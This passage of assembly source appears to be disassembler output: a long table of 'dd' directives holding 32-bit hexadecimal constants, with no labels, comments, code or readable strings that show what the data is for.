		dd 0DE82F302h, 6039ECBBh, 287F830h, 6A4D2F0Bh, 9CA79628h
		dd 0ECD5C044h, 65004C76h, 1CC887C4h, 0B0CAF448h, 0DEC1005Dh
		dd 0AC085BB1h, 26003DDCh, 36371C49h, 0AB2FA97Dh, 4D7CB0E4h
		dd 5D27018Fh, 28CE06Bh,	857022D2h, 9000F8DBh, 4A560E88h
		dd 6F2B3067h, 0E3014B89h, 538AB512h, 9D68449h, 622416DCh
		dd 0A13059D3h, 0D8AD9084h, 0AB06E714h, 7710CD45h, 0ECA90058h
		dd 4A8C1678h, 7892BD17h, 0E6C0EF01h, 33FE92F2h,	7F0824h
		dd 0CA1A7D56h, 0DD6CF78Ah, 0BD0D5AB0h, 80163509h, 5A0E204Eh
		dd 0B0B4598Eh, 0CC912780h, 77793C38h, 89C076B0h, 4F7471FAh
		dd 4A6D16BDh, 255C003Bh, 85C16EE3h, 0F28D9B00h,	9C098FE4h
		dd 6FFF07CEh, 50939F02h, 74ECD6B1h, 0BF724E00h,	0B64C3ABCh
		dd 3C91A3h, 101F5F09h, 99503Fh,	185B0CAh, 2080E3B3h, 0F2631Ch
		dd 5D8CC52Bh, 0AA906415h, 0F8D5FF0Ch, 3EAE18F3h, 0FB07CF83h
		dd 91D2F1E5h, 205C692Fh, 0CD12CBBCh, 0D84092C0h, 0E198076Bh
		dd 0B2FE3939h, 0BE4D1500h, 1F64E0F2h, 0A0F82E48h, 51FDDBB0h
		dd 0B8CFA0E5h, 52F8604Ah, 6D805C86h, 54DD948Fh,	3734844Ch
		dd 0AFE00E9Bh, 6733B6h,	3AAD2F5h, 8E281B3Bh, 9BAEA212h
		dd 833FA821h, 1FD595E8h, 0C97AF207h, 0E890BB8Bh, 0FB004D66h
		dd 0B9313DA8h, 50D85EA4h, 0F41ED4F3h, 90220019h, 86FEBBAEh
		dd 2C0BC937h, 241CF27Eh, 0C1AB1794h, 0FC42668Dh, 3005983h
		dd 0BFE5639Fh, 0AA4888Bh, 845152E7h, 3EDAC06Ch,	9404DFF6h
		dd 0EC4717ACh, 0FEEE30D0h, 0BD8B0997h, 84804F01h, 56B86873h
		dd 4E9CDE50h, 8AFC4418h, 3A381BE1h, 3A82F833h, 841F80B1h
		dd 0DC4BADE1h, 0A85098FEh, 0A20BD3BCh, 80E3306Eh, 1642A023h
		dd 3F630035h, 3A4B55CFh, 577585Bh, 718B492h, 6791E043h
		dd 0E5E424D0h, 5B771F48h, 7835F834h, 4C40D841h,	26AE92DDh
		dd 2473007Ch, 860C6076h, 93007747h, 68D1A7FDh, 1C9E884Eh
		dd 10DE0B7h, 0E2D81DA4h, 8C48D2A0h, 4E1BCFDCh, 0E481BA75h
		dd 0B300B48Ah, 7AC4A5BEh, 0F3176D55h, 8440EDE1h, 86384766h
		dd 30040150h, 0B5C6FB88h, 0BB398217h, 0A7E77A92h, 0B603C98h
		dd 1668AA87h, 1004A153h, 0F402D04Ch, 0AE6BE082h, 0CF2D4C48h
		dd 96195900h, 0BCB6E17Bh, 3CE03Bh, 0EE87BB8Ch, 0EAB547C2h
		dd 963CD94Ch, 0DEF38841h, 0D98016A3h, 2E1CAC9Bh, 0E309EA64h
		dd 317C0890h, 8930FCA0h, 1BD6009Bh, 0ED4EEB68h,	35FEC4DEh
		dd 0F0A9F900h, 0FFDDF6A8h, 0A83D5077h, 0B12A26FEh, 0ACFB8060h
		dd 0A0F9E0E2h, 20B91660h, 98F26DF7h, 0D7C089D4h, 0B31F824h
		dd 0CCC326D4h, 6C4A5832h, 0E2FB4840h, 75246E16h, 7E4F3406h
		dd 1723E240h, 124C9907h, 0D8C43008h, 880FDAE1h,	92B94B54h
		dd 0A1CF4820h, 0C81C1682h, 8538413Ah, 0BC4E8711h, 5D90021h
		dd 9AFD0C1Eh, 886D5034h, 76E72CCFh, 47FE07ECh, 81E814BCh
		dd 0D4DFCD40h, 0F9004BFAh, 0DEB8E77Ch, 0FA92EB0Bh, 73F458h
		dd 39AB8C62h, 0C7CA2A53h, 4A71101Ch, 22F7701h, 8C50E452h
		dd 7B7DD687h, 0E2D303Dh, 54108A98h, 62FF7201h, 31AB7B34h
		dd 2DD85035h, 2C674847h, 1C306D25h, 903D69F2h, 961602D9h
		dd 4B1B2F43h, 0D6C1A0ECh, 7B3CB80Dh, 0B0D363B0h, 50A0DBB6h
		dd 6100F66Ah, 2C5C7E0Fh, 1E699306h, 0DD12F378h,	0D22685C2h
		dd 0A4EC41C8h, 329D71F5h, 0CC670454h, 0D4A5BFE0h, 0CE1AB840h
		dd 0CC70E77Eh, 660008Eh, 5BED6E94h, 0F60AA991h,	5C4C6768h
		dd 0E62C3825h, 0C922056Ah, 0C59D3BE0h, 436C0520h, 0EDC491B6h
		dd 0C77C2808h, 0EAB190E9h, 60300E13h, 22F42540h, 0CA6418A3h
		dd 8018E587h, 0B6AA4ADCh, 0A100EFF8h, 0F84E6F73h, 3A3FBA9Ch
		dd 4F803212h, 66573D6Bh, 0D0BEC43h, 0B0B6F42Fh,	0CAB54DCh
		dd 64367C17h, 98987691h, 58D58C30h, 74872C7Ah, 48100D9h
		dd 1B77211Fh, 8E71261Ch, 0F0228928h, 40F8B3Bh, 2336194Ch
		dd 80C958C4h, 1DDCB8A4h, 4D314546h, 0EC8435h, 9F581BF4h
		dd 89E0A284h, 98526D02h, 604ADE6Eh, 4DF169F8h, 70062C46h
		dd 595E1567h, 0E8DACC80h, 680B65B0h, 0DDD0C47Ah, 8E712707h
		dd 3D480092h, 0FE05B30Dh, 95E6B00h, 969BB4C2h, 356125Ah
		dd 0B8B018D1h, 28010C86h, 0BB39CB94h, 219259E9h, 29408C5Bh
		dd 82D05564h, 69F029C0h, 0D64B1E74h, 2779C26Eh,	90646865h
		dd 5D125098h, 498F89h, 59A4641Eh, 0A916644Ch, 0F4B001DCh
		dd 0CCCD1E5Dh, 0F0B098CAh, 197FD51Fh, 7E14A9C0h, 1F28C727h
		dd 5B28817h, 0C10D60CBh, 44C9D65Ch, 438800ACh, 3B6C5BD2h
		dd 1002A300h, 0FD7CCC41h, 81393E67h, 4932098Ah,	46A980CCh
		dd 3B596C1Ch, 0C0581848h, 0B041BC6Dh, 62DC00F0h, 63996E3Ch
		dd 8900EDB7h, 6D975366h, 0F1FB4BDFh, 5258820h, 7EF9BBD1h
		dd 8FDE1F32h, 0C73CB7B4h, 70F17FABh, 0A7FCA3C0h, 0A540449Ch
		dd 0B9D5A98Dh, 786AE198h, 404C62DBh, 8409F84Ch,	0A0880377h
		dd 0E3818E2Ch, 10E0BCh,	59408F43h, 98681422h, 21896891h
		dd 72494D3h, 5F94A989h,	42C0DF6Ah, 440395B6h, 3D04D4Ch
		dd 67A6749h, 87691E8Bh,	88C9FC7Eh, 0FA1C8007h, 59EB4086h
		dd 49745654h
		dd 0D80A7F02h, 403A31CBh, 0E64E4470h, 0F91E0E79h, 7C82B6DFh
		dd 2464251Ah, 86F710A0h, 0EF008892h, 38CA6AE8h,	980C723h
		dd 26B1EA09h, 0C75C008Eh, 67C10A48h, 306936E8h,	0DBB96E02h
		dd 41630B0Ch, 0FED99A2Ch, 2BA79FCh, 3685A106h, 0A0C07C44h
		dd 881CCF0Eh, 0E0B4F99Dh, 74D410E2h, 0C6E0DF00h, 0D6973DC7h
		dd 72ECE500h, 73535919h, 0D51C9A4Eh, 9093ECB8h,	460E2E38h
		dd 1688B304h, 0F899CA3Dh, 7D353850h, 0D889589Eh, 2015C844h
		dd 5A151A41h, 75B08357h, 173C5513h, 0B9C0Eh, 8AE094CEh
		dd 0E115006Fh, 0CB5128F7h, 827637B5h, 1C1F0A79h, 0ADC18AB8h
		dd 0F2A2BB98h, 0E0A5FEE4h, 684A0092h, 0BE602EFAh, 99CEF1E5h
		dd 4CF6D4CDh, 0CC334AC0h, 0D2BCF03Fh, 2DC201F0h, 0CDFAE103h
		dd 0BE3C345Fh, 72B1605h, 0A437A533h, 0E1D444h, 0FB5DB080h
		dd 0C2F113F5h, 23AD840Ah, 8001D089h, 85C30ABBh,	5F37420h
		dd 123E0F99h, 40C0192Ah, 858C3DA5h, 40C21864h, 404CD1BCh
		dd 0ABA775Ch, 11486000h, 0E85F537Ch, 90B329DCh,	83383180h
		dd 25C22FFh, 0B3EF1D7Fh, 0F390E8E7h, 0D09C506Ch, 0EC3F5010h
		dd 4C09C00Fh, 0E4D06815h, 1A98BB0Eh, 84BFAACAh,	0ACD73DE4h
		dd 0AB192643h, 0C0D84895h, 0EE640187h, 5B2492F3h, 9CBE28E8h
		dd 4668C569h, 42B80CFCh, 0BCA93DC0h, 4CAEAF06h,	38875Eh
		dd 35BDE2CEh, 93FECF3Eh, 2CA9DCBAh, 7C80A41Ah, 0E841B798h
		dd 3818CB4Ch, 1FB32CB0h, 5EF6111Fh, 0A006911h, 0A65CB0F1h
		dd 0D51681C2h, 0F093F6CAh, 5FB5D044h, 95F2003Ah, 0ACFC0BB2h
		dd 72036F62h, 0E4462CAEh, 240C8970h, 417B030h, 0E53E6030h
		dd 0D0F0CD01h, 93802437h, 25F915FAh, 0C000E4ACh, 0F7EBCDB1h
		dd 0EEEA4F61h, 4C41D48h, 0B3BAAB59h, 0F63C88D0h, 0B6D9C223h
		dd 0C0C19AB5h, 0CB8881A5h, 75CAA3F7h, 30F8FEF9h, 1973034Bh
		dd 908A058Fh, 256925h, 992D1534h, 0F76200C8h, 13937B7Ch
		dd 4E2D9AFh, 80800892h,	0FC5166C5h, 80B41DECh, 0A0D036C8h
		dd 9CC71D83h, 0A24C82F4h, 0B07A6396h, 6E345104h, 0E89D5B57h
		dd 0C9AC82D6h, 0F86EF5h, 3664BB41h, 4978FA20h, 0A0007D4Fh
		dd 82C4D331h, 0ACD5E8C9h, 0B61A03A4h, 0C894A6E0h, 50F950DFh
		dd 47F87283h, 0FC2408BAh, 2C0EA4FEh, 8F5A2B64h,	9047B6FCh
		dd 0A484436Eh, 8592ECD0h, 0CA6316F7h, 38E88CF5h, 2BAB102h
		dd 89A943BEh, 863CC5AEh, 0C91D2959h, 7FF31115h,	0D29C40F4h
		dd 5E2E7890h, 3402212Bh, 44A61132h, 0C10830CCh,	2AC5EDE9h
		dd 902E151Fh, 0BF56D7C0h, 48ECCEB0h, 0BC800CF6h, 0DE7785F8h
		dd 65C5D217h, 76559C04h, 3430B085h, 6F6DC64h, 0BBA9F8E1h
		dd 0F0EF99AEh, 78907F32h, 80945490h, 22349C00h,	32EF0D0h
		dd 906FF7A2h, 8BC86A13h, 30B079F1h, 0B52D431Ch,	0B306614Eh
		dd 30DB300Ah, 43F9CD00h, 31898C95h, 0EC800E3Eh,	87CFEC53h
		dd 0FE81A907h, 84B9B0FCh, 88B0DE74h, 30F812FFh,	0C54C41A7h
		dd 73FCCCD2h, 98758500h, 0D4182CC0h, 0CB82C80h,	0AB6D8008h
		dd 69347F46h, 87434D0Bh, 596832B6h, 585A0160h, 35C39305h
		dd 0B0983C68h, 907C492Bh, 0C42C900Ch, 0B4D31770h, 29C31274h
		dd 0B9E371D2h, 487866FAh, 701B179Dh, 9A97A828h,	0AC0D3E2Ch
		dd 17AF58E0h, 2576077Bh, 0C4725F57h, 9F409393h,	4B3DED8h
		dd 0A41F096h, 107C3B2Ah, 1303C098h, 0CFD979D9h,	0D881CC69h
		dd 0C8559FE1h, 32FC6C4Eh, 73F3563Fh, 0C3D3EC01h, 55CA8DDh
		dd 2467EC30h, 87643813h, 503F585Bh, 84E55E92h, 0A400BA7Ah
		dd 0ABD2A79Fh, 0DB981Fh, 8C044BE7h, 0A170C056h,	4F55430Ah
		dd 8140987Eh, 9A59F3C1h, 4C92F4h, 0D7C2E7F8h, 1657FFCFh
		dd 1009B015h, 0B9D04A8h, 70B25C2Ch, 0AA216100h,	6F700518h
		dd 81AF4309h, 0ECB4688Dh, 0B6D901BDh, 0BA49CA9Dh, 7014F99Bh
		dd 0A40056ECh, 3135A85Eh, 0F40E25B7h, 0C128B684h, 2055B411h
		dd 791CD1DDh, 0C0A4D4F6h, 8C3C26C1h, 17EF1CC8h,	0CA39F3C0h
		dd 6C5B1224h, 50199C80h, 70690D5h, 0A391230Eh, 3B4A90ACh
		dd 4700EE5Ch, 0B7B0A467h, 9E97CBCCh, 0D41025D0h, 0E413E6CEh
		dd 0B8431B9Eh, 0A8C87DDEh, 0C4A4A9D8h, 0D0729271h, 3ACE41F0h
		dd 0E6995B09h, 0C874E3E3h, 70B5CDEBh, 69901FF7h, 577913DDh
		dd 3424D9D8h, 0E5FFEAE0h, 0E9B1F760h, 5AE831B6h, 804C5CB8h
		dd 0EC651BD6h, 699E0947h, 7C0A6013h, 777680C8h,	0CA365824h
		dd 0C35FA77Bh, 303C0020h, 0C415482Eh, 0DB004CD4h, 0B4405587h
		dd 38BC49BDh, 2A76EF50h, 3D5C754Ah, 1C05E8CAh, 72CDC18Eh
		dd 0B454C758h, 66CBF641h, 91E8CD0h, 755F8F74h, 693730A0h
		dd 549B3A0Bh, 0AE07A429h, 12C5AD4Ah, 0D2D49C10h, 60B7C00h
		dd 1E35E580h, 2FBFB4h, 0A58D129Dh, 334C2310h, 0DC584A28h
		dd 5BD530h, 0B74D2143h,	0BDFAE1B0h, 0CC6C162Eh,	0E45F8A30h
		dd 98E900D8h, 2FA2B112h, 5899073Ch, 0D0C45364h,	248844B4h
		dd 0A08C0Eh, 0EDC05992h, 0CC037C4Ah, 0B182A735h, 911EA851h
		dd 0AF84BBBDh, 3CD3E090h, 0DD0474B6h, 78924D1Ch, 96986620h
		dd 62416DD4h, 0D4B60054h, 0C453BC6Dh, 1C12E667h, 0A5AF94h
		dd 99316289h, 494EE173h, 4D77E443h, 68CDBAFFh, 0B4723D6Ch
		dd 51E53A04h, 0A388B0E2h, 0CC187E12h, 0F4B27884h, 0C0E83596h
		dd 9BAFD4D4h, 7F2A0D00h, 0AE7DB803h, 0F1C813E3h, 0EAD409CAh
		dd 492FF804h, 1A880483h, 498B88D0h, 41010116h, 0BE12395Bh
		dd 39DC310Ch, 0E38380C8h, 13D75E0h, 4498B09Ch, 0A886F85Eh
		dd 3A024888h, 0BBF77A39h, 0FBDC48FFh, 53BD2674h, 19918068h
		dd 2E7894ABh, 0C18CA35Ch, 431493A7h, 20A4707Ch,	4B4953BCh
		dd 5C0B72Fh, 0A8352898h, 6C005CE7h, 8A895C18h, 24FE8FD2h
		dd 788C1B4Ah, 727586h, 0FF96CCD1h, 0D24AEAFh, 89A31C1Dh
		dd 654CB780h, 2FA2562h,	0D806691Fh, 98C5BDFBh, 56C0CF1Ah
		dd 0C1927384h, 0D3414AE0h, 903C215Ch, 1C272490h, 89092009h
		dd 123451C0h, 730A740h,	0FC7CD787h, 0E0166690h,	62549408h
		dd 8C0B602h, 0D400B2AFh, 62180BCEh, 0CDAE82h, 0B81FFE73h
		dd 26477197h, 0BC2F2303h, 0B157AD8Ch, 0C603F75h, 958E0286h
		dd 26858A15h, 22DCC59h,	0E49A2C38h, 544E3DA0h, 4C309961h
		dd 697C2D7Bh, 0E2CECD0h, 0A1656173h, 0BDE99CC1h, 0E7A024A2h
		dd 0C41DD5Ah, 32FD95C4h, 0E284F453h, 607078h, 0C6CCB5F8h
		dd 2AFB594Bh, 24FFB12Fh, 0F8AD1720h, 0E4C2C890h, 6C524CF5h
		dd 0E4E01948h, 0E4507025h, 4EC442C0h, 310FCC25h, 49246F30h
		dd 7AA4A03Ch, 0F82AE48h, 7F237607h, 0D6D999A0h,	0A0926A51h
		dd 30DBDA4Ch, 0F08C312Bh, 27EB7CC1h, 9AD78Ah, 0F0590442h
		dd 0A6829D00h, 5C9EE2E5h, 455FC8Ah, 90D2FC26h, 10307AB8h
		dd 0F0E16201h, 98796396h, 0FE7C9440h, 5BC094B6h, 0A05E5CAAh
		dd 0A4985053h, 0ECE0004Dh, 0CB1E88E3h, 4772FDE5h, 1AF4CE27h
		dd 0FF24C864h, 0F1891DCAh, 5480EF4Ah, 74AE8B07h, 8A54F01h
		dd 480B288h, 5EBC4020h,	4F7070FCh, 0A360B646h, 0C05C4AC8h
		dd 573501F8h, 3E7978FDh, 0C1A87D73h, 7CC29FC4h,	0F538E0F2h
		dd 31AD5C6Eh, 0E403A600h, 0B6C8E705h, 0BBD90604h, 98D0DF15h
		dd 5459F2h, 0E34719ABh,	6948AAB4h, 2C17CC00h, 83A138E8h
		dd 6DBD3A20h, 8EE74507h, 5C72B17Bh, 200C216Bh, 0B8928088h
		dd 0EA25ACB0h, 0A7C8C75Ah, 23079CA1h, 5F306C90h, 4F85B861h
		dd 6FFC202Bh, 0E13008CAh
		dd 0E2B561F7h, 20FB49D2h, 7721BB0Fh, 6C00DDA9h,	149717Ch
		dd 6A035505h, 2418763Fh, 0C0C6AE70h, 781DBDC0h,	209174ECh
		dd 7B4CC4EFh, 3969F720h, 17B0C801h, 476E608Fh, 94503F02h
		dd 9C2F130Eh, 0D7A720F7h, 55856E0h, 3F3263F0h, 85888807h
		dd 4B311112h, 367F2502h, 0DA164053h, 38D15DFh, 3B1A88D1h
		dd 0F47838CBh, 0CA5B3938h, 0DC148056h, 0AE0C8730h, 8CF00BE0h
		dd 4806FC1Ch, 2E80E011h, 0BDA6390Eh, 0B0B0037Bh, 1A749A95h
		dd 0E38C00F8h, 24B14465h, 2C6F31B9h, 0B20B00CCh, 0AECE1575h
		dd 0D420A509h, 1B00A09Ch, 0B20708D7h, 105E0B50h, 941C6333h
		dd 48BCCA53h, 88D0D344h, 9BD6AA85h, 0CD190328h,	13F5BB7Fh
		dd 0E8EC9054h, 22095794h, 80463092h, 0A6E59D57h, 4CCC98A9h
		dd 8901EC77h, 68D96260h, 0F670D084h, 1EFACE25h,	4458A448h
		dd 4B24F0BCh, 57001C86h, 0C9407255h, 775C2D79h,	0C1E65026h
		dd 18DEBE4Bh, 2914C416h, 6168353Ch, 92DC7D54h, 0ECB0BC34h
		dd 0E97AD9h, 7CFF675Fh,	481B8AF7h, 4C8074Bh, 7E0F0920h
		dd 98A1F9FBh, 24E01482h, 0E624911Ch, 0A506DCC8h, 0B6A9BA86h
		dd 880A026Ch, 64D18155h, 0AECC20AFh, 0C032C74Bh, 6AD8A719h
		dd 0DD0972E3h, 8C2A90A9h, 1D1B9A4h, 635B69E1h, 40559F09h
		dd 0F2EC36BCh, 0E052DD01h, 5D14A9E9h, 9C5AC60h,	560D557Ah
		dd 58AC2C71h, 0FF86C50h, 1C97EDCCh, 8F9FE362h, 5DC9088h
		dd 40D43DF1h, 6DC9D8A4h, 3C9220BAh, 0FD268300h,	367D1464h
		dd 0D5931DDBh, 0BBE6C591h, 0E324C4ECh, 5E1B0160h, 94AFD8E4h
		dd 0AE5C212Bh, 0CC6821DAh, 7998A6A5h, 5F3FF084h, 16B9481Fh
		dd 5D03A27Eh, 0F8B787D7h, 2953098h, 235CE240h, 0A440DB01h
		dd 0FF4DF8DAh, 3462B5DCh, 147C42C1h, 0C76B0084h, 0E83FEA1Eh
		dd 0B2FE23F1h, 0DC759A3Eh, 0ED4EE398h, 0C86F060h, 20605B30h
		dd 744101D8h, 3D401CBCh, 23C95E3h, 34E94B71h, 0D10009DBh
		dd 11D2513h, 17E0EB2Eh,	0F8F8DD1Eh, 0A8EA20D8h,	0F88B4Ch
		dd 3D3075D0h, 1FA0022Bh, 0C0776B4Dh, 0DF64F8CFh, 794897B6h
		dd 64934E64h, 6CB8ECDBh, 0F049E890h, 0CCE8CD4Ah, 34011D52h
		dd 0AF2058B7h, 75FB92h,	130AB820h, 4789FA21h, 0E060F498h
		dd 74B7B427h, 0AE40E901h, 87ACA3E3h, 0B5B7073h,	70A01EF8h
		dd 43BFBB4Fh, 5D4E34FAh, 9B28B8C1h, 1CEE4510h, 5A477CBBh
		dd 0A58A53A0h, 0D9892FC0h, 481ABC8Bh, 1C9918D0h, 4CD88FC0h
		dd 0CF652E1Ch, 45524054h, 229DBBAFh, 78724074h,	0D870044h
		dd 245E7F1Fh, 48C38A9Ah, 80320809h, 0E0C23888h,	34B25FEBh
		dd 56DCED08h, 7821DA0Ch, 60D4B41Ch, 3212380Ch, 6C4E9701h
		dd 3AB4947h, 286D5261h,	36704F96h, 42032E81h, 0A068DA94h
		dd 0B6161C70h, 48345A02h, 12A648A0h, 0F2441192h, 74300B8h
		dd 0FF272E05h, 0CDDC00F5h, 3C5CB669h, 8702CB51h, 0E04ABEA3h
		dd 5A3CF091h, 0D41080E7h, 40486384h, 0ECCED2E0h, 57187B1Dh
		dd 83409027h, 4C09C5C7h, 44774858h, 0CD172D50h,	0B43BBC80h
		dd 3E2D1987h, 24DC11CBh, 5F12EC41h, 772EB430h, 1A276B5h
		dd 66F64BB7h, 233F0FF3h, 96F480D8h, 2379409h, 313B11A5h
		dd 0F4CE1033h, 7A90B90Bh, 7E80008Dh, 0A61FEFh, 8825B759h
		dd 70324660h, 0B889655Ah, 0CC28A021h, 24A89D00h, 0EBF26C36h
		dd 93B0983Bh, 948BEFD4h, 0C99D3049h, 6C201357h,	0E1D6C923h
		dd 8060ED52h, 0C396E5F2h, 48660049h, 0F7E2F5DFh, 0C10BE6A8h
		dd 0C0C9DE99h, 53AE5Ch,	0F9692720h, 77D1DA96h, 2A428305h
		dd 24A8072Ch, 80B4CA8Ah, 0C189B245h, 17754315h,	0BAA1C602h
		dd 5E5AF2A2h, 263D8978h, 10207489h, 0FBC870D0h,	0E397EA0Ch
		dd 0CFA92Bh, 59E71646h,	0C38B1A1h, 0D1D83400h, 2B9790E3h
		dd 10FE005Ah, 66CB7BC2h, 0A100D30Eh, 0ABD91880h, 1488DA6h
		dd 556E3072h, 0C04C82E9h, 6007ADEh, 8CE4569Fh, 18A48545h
		dd 1057CDAFh, 0D15F8438h, 19004EF8h, 0B9C85A70h, 6BE62B9Bh
		dd 2FF288F6h, 0EACD2000h, 7BFB91C9h, 67231E76h,	40D95D07h
		dd 904A6524h, 24839B0h,	70A8078Ch, 0A205559h, 0CBF4D3h
		dd 5C1FEDBFh, 0BD91868Fh, 33F76200h, 3AC39BACh,	0FF660F03h
		dd 0B00B4B8h, 53D1EF44h, 1CBE0A00h, 4269B63Eh, 0F1FA0EAFh
		dd 9F60AABAh, 0EEB5761Fh, 0B4A88260h, 1254944Ah, 19ABFC2h
		dd 365EC81Eh, 73C98EA3h, 0AB3AE702h, 0C302CF6h,	0B60CA988h
		dd 0F9061B20h, 0DA27307h, 84B40631h, 5A89442Ah,	0C696428h
		dd 93F8048Fh, 42A400F9h, 0A7CD098Ch, 81036C2Ah,	63BA54BCh
		dd 3DB5A382h, 83B4C131h, 0F8E81938h, 0F135F1B2h, 34BCF2BDh
		dd 0E04C2A52h, 0C0A1FCA2h, 0A80A5410h, 7201BDDDh, 80374233h
		dd 6E19227h, 0C52FBF1h,	0BCB91840h, 2A7C4384h, 24431819h
		dd 430C502Ah, 0B7EE1028h, 86E2C88h, 323044B8h, 5418A496h
		dd 8B67931h, 52FF8660h,	6419580Ch, 24AF5C0Ch, 5021C3BCh
		dd 74C8D290h, 7832ED64h, 4448DF1Bh, 0A46D3244h,	831480Ch
		dd 894C08BEh, 89A2F004h, 86B74A44h, 119D1E21h, 6AFA01BBh
		dd 94670186h, 13000022h, 0B5FC6533h, 1B2683CBh,	0B3009544h
		dd 0A49F913Bh, 464C12B8h, 0CA4C006Ah, 0CB498B25h, 41A11830h
		dd 2A1E4FB9h, 11C88A90h, 43D37AFh, 0B9DB801Bh, 0C629B500h
		dd 8500BA7Bh, 0F4C46C31h, 50AFEBEEh, 4DB5007h, 534401B2h
		dd 472E435Bh, 0FF890694h, 0A8BCC731h, 3665B00Fh, 0B86BCF2Ah
		dd 29872C88h, 581C2753h, 4C030A2Bh, 0FFAF717Dh,	0F681003Ch
		dd 0F94A1423h, 0DC18FC24h, 2B50290Ah, 75C37584h, 90473025h
		dd 945FE159h, 80B22F31h, 83C0EC17h, 19905C3h, 2607B0D2h
		dd 50C810C8h, 0E77189E2h, 62EE9C02h, 7C2B1490h,	2ECB68C4h
		dd 0AA014A30h, 32E89975h, 2856FB01h, 9D83A167h,	6349C040h
		dd 0F8BA60FFh, 0EECA7421h, 99435D03h, 0E8BC885Bh, 0DFDABBDh
		dd 17AF2AF4h, 0B3E5B9h,	0C0B6DC8Ch, 9302F599h, 7C016C28h
		dd 0A0681A17h, 6980CFA1h, 0C12CDFA6h, 0F1FDA927h, 4A1995B3h
		dd 814C3268h, 0B3981E60h, 5F11B512h, 17213840h,	0E8479B97h
		dd 165D0081h, 0E02AF9E4h, 0DA4DDCE3h, 0A92B19F8h, 0A98A4210h
		dd 83F42463h, 9A5FA1D2h, 39E48814h, 366474B4h, 56419318h
		dd 413A1653h, 8ED7949Ch, 9B66A1F9h, 0C3182221h,	250FE90Eh
		dd 9F108E67h, 31B4AF0Ch, 849E573Bh, 397B8C01h, 9E5C631Ah
		dd 0D800D191h, 0AE18339Eh, 198B6062h, 601ACE7Bh, 51B88432h
		dd 127C46B0h, 41987806h, 26A4BC94h, 9C1AD032h, 804DE526h
		dd 0B25220A8h, 481C2488h, 0AE4080A8h, 8448EBA2h, 403161F2h
		dd 0D3897C60h, 2A06AFFh, 0B5B92DB6h, 63C05440h,	99248682h
		dd 0D1F40A39h, 87804CE9h, 0BE2324DCh, 0F5796D8Ch, 61F8B200h
		dd 0B8A1A75Dh, 62297402h, 92DC41A3h, 49245084h,	36088467h
		dd 0BA27D232h, 0F2B08EA3h, 44744881h, 0BB582C63h, 46659294h
		dd 0E854E9ACh, 50AFEF22h, 48FD58EBh, 352BE0D1h,	42FAB930h
		dd 0BACF8487h, 98F16A07h, 11248820h, 0B087484Bh, 304C5CCEh
		dd 639F123Ah, 91480EE3h, 14024D89h, 1304B424h, 0FB4F55C0h
		dd 13637D39h, 605CB242h, 4853E810h, 9D02BA7Eh, 8BE4F077h
		dd 0AEA88215h, 93CC012Bh, 3A28400Fh, 997D6BA0h,	0C3288774h
		dd 1093A0B2h, 0C0401B1Fh, 0E9AC5F34h, 88E0A085h, 0FB6200E1h
		dd 229BB5ADh, 0A700FD44h, 9EDC3C69h, 26F9BBB4h,	708C3652h
		dd 7CA02B39h, 5C12794Dh
		dd 502CC984h, 0B66B021Ch, 0B9404301h, 8A2548A0h, 6218F9A8h
		dd 0B280B06Fh, 0BFB30F7Ch, 4A12636h, 2486A12Ah,	6801224Ch
		dd 71ABB167h, 44608740h, 0B0F50BA7h, 483893FAh,	0D083C1C4h
		dd 241AB02Eh, 83845481h, 0E41F85B9h, 40B83148h,	7E840258h
		dd 983B36DBh, 0DD0CB8E9h, 108640EBh, 400C4CB5h,	76B7B380h
		dd 0F224457Dh, 91B8088Dh, 0EB02471Dh, 34DB0A3Dh, 848084A9h
		dd 0F226A03Bh, 5188E50h, 0EBB00C84h, 0A968825Eh, 0F10E3E0Dh
		dd 789129BCh, 0B1AA004Bh, 0C23BEFB8h, 335234B6h, 6394C0D1h
		dd 91038588h, 0F2277FF3h, 0BC41027Eh, 80F1FCB7h, 89F0884h
		dd 6090E491h, 809793A0h, 3F181A3Bh, 308011Bh, 54CA7EFAh
		dd 359A0B7h, 55089C4Ch,	0B8D4F2A8h, 3AE00081h, 323FBF78h
		dd 59AF0246h, 6ACB74CEh, 0C06F2851h, 63549DB2h,	2119C12Ch
		dd 50FBDA3Ah, 618106A0h, 7AC0E4AAh, 0C1608483h,	0FE18AC41h
		dd 0CCFB4874h, 0F3E1A04h, 0FF7C88A3h, 0EEB3501Eh, 67AB1403h
		dd 5FACA02Ah, 0A0442425h, 0C2E45820h, 9C20C8A4h, 94F8DF9Fh
		dd 0D090C8F2h, 0F3020909h, 0FF19EC80h, 0D0A85459h, 0EB4BF8FAh
		dd 0D26C5041h, 0B0ECF91Ah, 3328A0EEh, 0BA2C0EDCh, 0BDEF9AB3h
		dd 11271C06h, 0B91E26F8h, 0AC058F92h, 30376AFDh, 10B19A1Fh
		dd 92448h, 0AF5B01FCh, 0F821FFF9h, 12EB440h, 0DD45020Ah
		dd 8F84C53Eh, 0EB150D1h, 0A9CCF43h, 0A1139C5Ah,	0F4940090h
		dd 3B14126Ah, 335006F7h, 74A408DFh, 6ACC7900h, 64A77C0h
		dd 0EDE70044h, 60BE09FCh, 5F7C86B5h, 0C059333Fh, 93F0A023h
		dd 0B9DFBCh, 420D604Fh,	2749BF20h, 53607414h, 60477621h
		dd 90F40012h, 0B3705D43h, 11F2D04h, 0A4CD638h, 0F4B489BEh
		dd 8460383h, 8CA6859Ch,	0BAA27818h, 7ABB521h, 64E0784h
		dd 0E971373Fh, 1AB36487h, 8019117Ch, 3B136AF5h,	88448CCFh
		dd 6ACD0772h, 208EEC0Eh, 596644A9h, 0A3002092h,	9A74D0ACh
		dd 3F096Ch, 541EBA10h, 6225692h, 988440FFh, 80E986E5h
		dd 67F444A8h, 0A92C38h,	0DD29D33Dh, 36801AFEh, 0D4534F00h
		dd 98B6AD78h, 6684009Bh, 0A817567Eh, 6400CD7Dh,	0EDE84280h
		dd 0FE0BC750h, 0C3133C1Dh, 0E6008B3Ch, 2F83D773h, 0E7000416h
		dd 0DFA82762h, 358722h,	0E959580Dh, 901669BFh, 0DB6A2A05h
		dd 0E080A461h, 0F505FDh, 0BC03BDFEh, 517EB1A6h,	5200467Eh
		dd 0C33A1E44h, 3F82F10Ah, 0AD80EE49h, 0F8946D7Ch, 0E21D42C4h
		dd 0FA004D47h, 641AB8DAh, 56F0F0E4h, 62C00463h,	0D86BE2E1h
		dd 0F1A6DA00h, 0A0B45AC9h, 0D60939ECh, 4E398781h, 87DF4BDBh
		dd 35328439h, 0C415C70h, 19613368h, 2100A908h, 5E352A8Dh
		dd 3F39A803h, 0D28058B1h, 26CEE3CDh, 0D100D094h, 42656CB5h
